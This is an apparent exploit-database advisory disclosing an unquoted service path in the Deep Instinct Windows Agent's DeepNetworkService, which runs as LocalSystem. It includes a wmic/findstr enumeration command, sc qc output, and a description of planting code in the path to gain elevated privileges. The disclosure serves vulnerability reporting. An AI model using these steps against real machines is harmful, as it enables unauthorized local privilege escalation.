# Exploit Title: Deep Instinct Windows Agent 1.2.24.0 - 'DeepNetworkService' Unquoted Service Path # Discovery by: Paulina Girón # Discovery Date: 2020-11-07 # Vendor Homepage: https://www.deepinstinct.com/ # Software Links : https://www.deepinstinct.com/2019/05/22/hp-collaborates-with-deep-instinct-to-roll-out-ai-powered-malware-protection-for-next-generation-hp-elitebook-and-zbook-pcs/ # Tested Version: 1.2.24.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Microsoft Windows 10 Pro 64 bits 1) C:\> wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "DeepNetworkService" |findstr /i /v """ Deep Instinct Network Service DeepNetworkService C:\Program Files\HP Sure Sense\DeepNetworkService.exe Auto 2) C:\> sc qc "DeepNetworkService" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: DeepNetworkService TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\HP Sure Sense\DeepNetworkService.exe GRUPO_ORDEN_CARGA : FSFilter Anti-Virus ETIQUETA : 0 NOMBRE_MOSTRAR : Deep Instinct Network Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem #Description Exploit: # A successful attempt would require the local user to be able to insert their code in the system root path # undetected by the OS or other security applications where it could potentially be executed during # application startup or reboot. If successful, the local user's code would execute with the elevated # privileges of the application.